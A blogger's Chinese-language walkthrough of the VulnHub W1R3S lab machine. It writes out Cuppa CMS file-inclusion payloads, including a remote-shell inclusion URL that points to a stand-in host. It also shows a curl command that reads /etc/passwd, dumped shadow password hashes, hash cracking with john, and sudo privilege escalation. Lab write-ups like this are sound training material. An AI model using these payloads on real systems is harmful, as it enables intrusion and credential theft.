vulnhub打靶记之w1r3s主机

0x00 笔注

靶机下载地址:https://download.vulnhub.com/w1r3s/w1r3s.v1.0.1.zip

靶机攻关讲解视频(billbili上发现的,讲的特别好):https://www.bilibili.com/video/BV1mB4y1j7K6/

靶机下载较慢,建议使用 Free Download Manager 下载。

最后安利一波我写的工具:https://github.com/sh1yan/Lscan

0x01 信息收集

首先使用我自己写的Lscan扫一下C段,看看哪一台是我的靶机,因为虚拟机默认是不知道开机密码的,只能先这样资产定位下。

1
Lscan.exe -h 192.168.1.1/24

默认是信息收集模块扫描,毕竟先定位下机器就可以了。

因为是自己的路由器环境,所以靶机IP肯定是 192.168.1.8 这个了,虽然初步已经显示出来了一些信息,但是我们还是再使用自动化的攻击模块跑一下,便于整个的信息规整。

1
Lscan.exe -h 192.168.1.8 -satt

经过攻击模块的扫描,发现只有web和ftp是有一些信息的,那接下来就先看ftp这里吧。

0x02 信息验证

把ftp目录下的文件下载后,本地查看,发现以下几个信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[ PATH: content\01.txt ]

New FTP Server For W1R3S.inc

[ PATH: content\02.txt ]

01ec2d8fc11c493b25029fb1f47f39ce
SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==

[ PATH: content\03.txt ]

logo图标,这里就不展现了

[ PATH: docs\worktodo.txt ]

ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡

....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ

[ PATH: new-employees\employee-names.txt ]

The W1R3S.inc employee list

Naomi.W - Manager
Hector.A - IT Dept
Joseph.G - Web Design
Albert.O - Web Design
Gina.L - Inventory
Rico.D - Human Resources

我们先来理一下发现的信息。

MD5密文(01ec2d8fc11c493b25029fb1f47f39ce)在 somd5.com 上查询的解密结果为:

1
This[空格]is[空格]not[空格]a[空格]password

BASE64密文(SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==)在站长工具(tool.chinaz.com/tools/base64.aspx)上查询的解密文件为:

1
It is easy, but not that easy..

字母反转这块,我们使用up主视频里的网址(upsidedowntext.com)直接反转下:

1
2
3
4
5
原文:ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡
反转:ı don't thınk thıs ıs the way to root!

原文:....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ
反转:we have a ןot of work to do‘ stop pןayıng around˙˙˙˙

以及最后的人员岗位清单:

1
2
3
4
5
6
Naomi.W - Manager
Hector.A - IT Dept
Joseph.G - Web Design
Albert.O - Web Design
Gina.L - Inventory
Rico.D - Human Resources

通过上述信息并没有什么实质性的进展,唯一的进展可能就是人员岗位清单里的姓名了。。。

接下来继续看web里的内容:

web地址:http://192.168.1.8/

首页是一个默认的页面,那就先跑下目录吧。

经过验证,只有 /administrator/ 路径可用,可以跳转到一个正常功能页面。

跳转路径:http://192.168.1.8/administrator/installation/

那就随便创建一个吧,标红的是我输入的内容,剩下均为默认内容。

看一下创建结果。

看这个情况应该是数据库正常创建成功了,但是管理员这个没有创建成功,那先尝试登录下mysql吧。

= =!登录失败,那算了,反过来推。

通过查看网页的标题头,可以看出来这是使用了 Cuppa CMS ,那就搜搜对应的漏洞吧。

主要通过 exploit-db.com 这个网站进行搜索。

发现有一条漏洞信息,先查看下漏洞详情:

漏洞点出在这个文件的22行,存在一个 REQUEST 形式的文件包含,exp是以下代码:

1
2
http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

由于是REQUEST形式的包含,首先试了下get形式的利用,没有成功,那就上burp用post数据包验证下漏洞是否可行。

可以看到漏洞是存在的,那我们可以尝试下搞一下第一行的那个利用方式,在此之前说一下up主的方式是通过curl的形式获取的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
C:\Users\shiyan>curl --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.1.8/administrator/alerts/alertConfigField.php
<style>
.......
<div id="content_alert_config" class="content_alert_config">
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
w1r3s:x:1000:1000:w1r3s,,,:/home/w1r3s:/bin/bash
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:122:129:ftp daemon,,,:/srv/ftp:/bin/false
mysql:x:123:130:MySQL Server,,,:/nonexistent:/bin/false
</div>
</div>
C:\Users\shiyan>

我们使用Python本地构造一个http服务,然后并放置下一句话木马文件。

1
python3 -m http.server 8001

这里就陷入了一个误区,不管咋样操作,都无法无法包含,估计代码有一些限制吧,那就能还一个思路了,爆破账号的hash值。

首先构造下发送一个获取shadow文件的数据包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7:::
daemon:*:17379:0:99999:7:::
bin:*:17379:0:99999:7:::
sys:*:17379:0:99999:7:::
sync:*:17379:0:99999:7:::
games:*:17379:0:99999:7:::
man:*:17379:0:99999:7:::
lp:*:17379:0:99999:7:::
mail:*:17379:0:99999:7:::
news:*:17379:0:99999:7:::
uucp:*:17379:0:99999:7:::
proxy:*:17379:0:99999:7:::
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
backup:*:17379:0:99999:7:::
list:*:17379:0:99999:7:::
irc:*:17379:0:99999:7:::
gnats:*:17379:0:99999:7:::
nobody:*:17379:0:99999:7:::
systemd-timesync:*:17379:0:99999:7:::
systemd-network:*:17379:0:99999:7:::
systemd-resolve:*:17379:0:99999:7:::
systemd-bus-proxy:*:17379:0:99999:7:::
syslog:*:17379:0:99999:7:::
_apt:*:17379:0:99999:7:::
messagebus:*:17379:0:99999:7:::
uuidd:*:17379:0:99999:7:::
lightdm:*:17379:0:99999:7:::
whoopsie:*:17379:0:99999:7:::
avahi-autoipd:*:17379:0:99999:7:::
avahi:*:17379:0:99999:7:::
dnsmasq:*:17379:0:99999:7:::
colord:*:17379:0:99999:7:::
speech-dispatcher:!:17379:0:99999:7:::
hplip:*:17379:0:99999:7:::
kernoops:*:17379:0:99999:7:::
pulse:*:17379:0:99999:7:::
rtkit:*:17379:0:99999:7:::
saned:*:17379:0:99999:7:::
usbmux:*:17379:0:99999:7:::
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
sshd:*:17554:0:99999:7:::
ftp:*:17554:0:99999:7:::
mysql:!:17554:0:99999:7:::

那就使用下john工具进行爆破下吧。

跑了很长时间,一直没不停止,就手动结束了,毕竟跑出来两个账号了,先尝试第一个 www-data 登录下:

登录失败了,该账号不可用,换下一个吧。

登录成功了,接下来就是提权了。

0x03 主机提权

知识点补充(sudo提权)https://www.cnblogs.com/vir-k/p/16301456.html

原本想利用提权脚本跑一遍的,看看存在哪些可提权的方式,不过随手发现了可以sudo,那就直接sudo提权吧。

1
w1r3s@W1R3S:/$ sudo -l   查看当前用户可以用 sudo 执行那些命令

额,所有权限,那就直接sudo -i 切换了。

可以看到直接切换成功了,剩下的就是找下flag了。

完结~

0x04 总结

为什么又开始打靶场了,主要是想着利用靶场来完善我的Lscan这个内网漏洞扫描工具,同时也是巩固下以前的知识,和学习一些更深一点的原理上的知识。

温故而知新很重要,对了,靶机攻关讲解视频那个up主的视频,真心推荐看看,讲的太好了,特别细,和小迪的视频差不多是一个类型了。

最后再说一下我的想法,为什么网上的这类文章很多了,还需要再重复的边打边写一遍了?网上的其它文章写的再好,也是别人掌握的知识,只有自己动手敲一遍,并且以文本的形式记录下来,才能深刻的记住,毕竟看文章时是顺风顺水的,自己实际打一遍的话,还是会出现各种问题的,这个就是关键。